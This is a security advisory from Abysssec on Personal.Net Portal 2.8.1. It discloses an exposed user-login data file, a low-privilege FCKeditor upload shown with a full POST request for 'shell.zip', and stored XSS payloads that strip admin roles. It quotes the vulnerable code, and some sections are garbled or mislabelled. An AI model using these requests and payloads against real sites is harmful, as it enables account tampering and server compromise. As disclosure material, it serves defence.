MOAUB

Abysssec Research

1) Advisory information

Title	**: Personal.Net Portal Multiple Vulnerabilities**
Affected	**: Personal.Net Portal Version 2.8.1**
Discovery	**: www.abysssec.com**
Vendor	**: http://www.dotnet-portal.net/Home.tab.aspx**
Impact	**: Critical**
Contact	**: shahin [at] abysssec.com , info [at] abysssec.com**
Twitter	**: @abysssec**

2) Vulnerability Information

Class

1- **User's Information Revelation**
2- **Upload a file with normal user that have low privilege**
3- **Persistent XSS for DDOS and remove Roles and … (XSRF)**

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying application and server.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- User's Information Revelation:

With this path you can find User's Information of site:

```
http://Example.com/Data/Statistics/Logins.xml
```

RoleName can be Admins or Members)

Here is HTML File with AJAX Code and with GET Method for this operation that is enough to Admin meet it.

The Source of HTML Page (Malicious Site)

```
UserId
      LoginCount
      LastLogin
      LoginName  ( for Example Admin )
      FirstName
      LastName
```

2- User's Information Revelation:

After you logged in as a normal user (for example userName:user and Password:user),In the following path you can upload a specific file with POST Method which is containing user's cookie.

```
http://Example.com/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=File
Upload&Type=File&CurrentFolder=/
```

For example this POST request:

```
        POST
http://Example.com/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=File
Upload&Type=File&CurrentFolder=/ HTTP/1.1
        Host: Example.com
        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729
Firefox/3.5.2
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-us,en;q=0.5
        Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
        Keep-Alive: 300
        Proxy-Connection: keep-alive
        Referer: http://Example.com/FCKeditor/editor/filemanager/browser/default/frmupload.html
        Cookie: ASP.NET_SessionId=wonb3e55eqgbrpnqdhcqly55;
dotnetportal.auth=CE8C1A54B9676CDB4F911C820B4F59C50C75F6684E839578C59D289707A340E9EA
```

```
444119E44E2B155612375255900C6FD3E0C94463E4C0ECEB929872CF2505FC
          Content-Type: multipart/form-data; boundary=---------------------------125671705429877
          Content-Length: 500


          -----------------------------125671705429877
          Content-Disposition: form-data; name="NewFile"; filename="shell.zip"
          Content-Type: application/octet-stream

          ... any thing
          -----------------------------125671705429877--
```

Here we have limitation of uploading specific file extension implementing by FckEditor v2.that bypassing this barrier is on you.

Uploaded files will be placing in this path:

```
http://Example.com/Data/Resources/file/
```

Vulnerable Code:

The misconfiguration is in ...\FCKeditor\editor\filemanager\connectors\aspx\config.ascx

```
     In 42:
          private bool CheckAuthentication()
               {
          return Page.User.Identity.IsAuthenticated;
               }
```

3- Persistent XSS and XSRF:

In these Modules you can find Persistent XSS that data saves with no sanitization:

1- Module name: CSVTabl

Field   : text

Vulnerable Code:

```
   ...\Modules\CSVTable\editcsvtable.ascx
   In 39:   sw.Write(txt.Text);
```

For Example you can enter this script for DDOS:

```
    <script>__doPostBack('ctl071$Linkbutton21','')</script>
```

2- Module name: Feedback

Fields : From , Title , Message

Vulnerable Code:

```
...\Modules\Feedback\feedback.ascx
ln 55,56,57:   r["From"] = txtFrom.Text;
               r["Title"] = txtTitle.Text;
               r["Message"] = txtMessage.Text;
```

3- Module name: Html

Field : text

Vulnerable Code:

```
...\Modules\Html\edithtml.ascx
ln 39:   w.Write(txt.Text);
```

4- Module name: MyUser

Fields : First name , Sur name

Vulnerable Code:

```
...\Modules\MyUser\MyUser.ascx.cs
ln 55:    UserManagement.SaveUser(
          Page.User.Identity.Name,
          pwd, txtFirstName.Text, txtSurName.Text, txtEMail.Text,
          new System.Collections.ArrayList(principal.Roles), principal.Id);
```

For Example you can enter this script for remove Admin Role:

```
<script>__doPostBack('Content$ctl14$gridRoles$ctl02$ctl00','')</script>
```

or this for remove User Role:

```
<script>__doPostBack('Content$ctl14$gridRoles$ctl03$ctl00','')</script>
```

And when Admin see this page:

```
http://Example.com/default.aspx?TabRef=adminusers
```

The Role will be removed and program will be DDOS. This is really XSRF attack.

5- Module name: News

Field : text

Vulnerable Code:

```
...\Modules\News\editnews.ascx
ln 70:    dr["Text"] = ((System.Web.UI.WebControls.TextBox)e.Item.Cells[4].Controls[1]).Text;
-----------------------------------------------------------------------------------------
```

6- Module name: Quotations

Field : text

Vulnerable Code:

```
...\Modules\Quotations\editquotations.ascx
ln 39:    sw.Write(txt.Text);
```

7- Module name: Table

Field : column

Vulnerable Code:

```
...\Modules\Table\edittable.ascx
ln 65:     dr[i] =
((System.Web.UI.WebControls.TextBox)repAddRow.Items[i].FindControl("data")).Text;
ln 137:    dr[i] = ((System.Web.UI.WebControls.TextBox)e.Item.Cells[i + 2].Controls[0]).Text;
```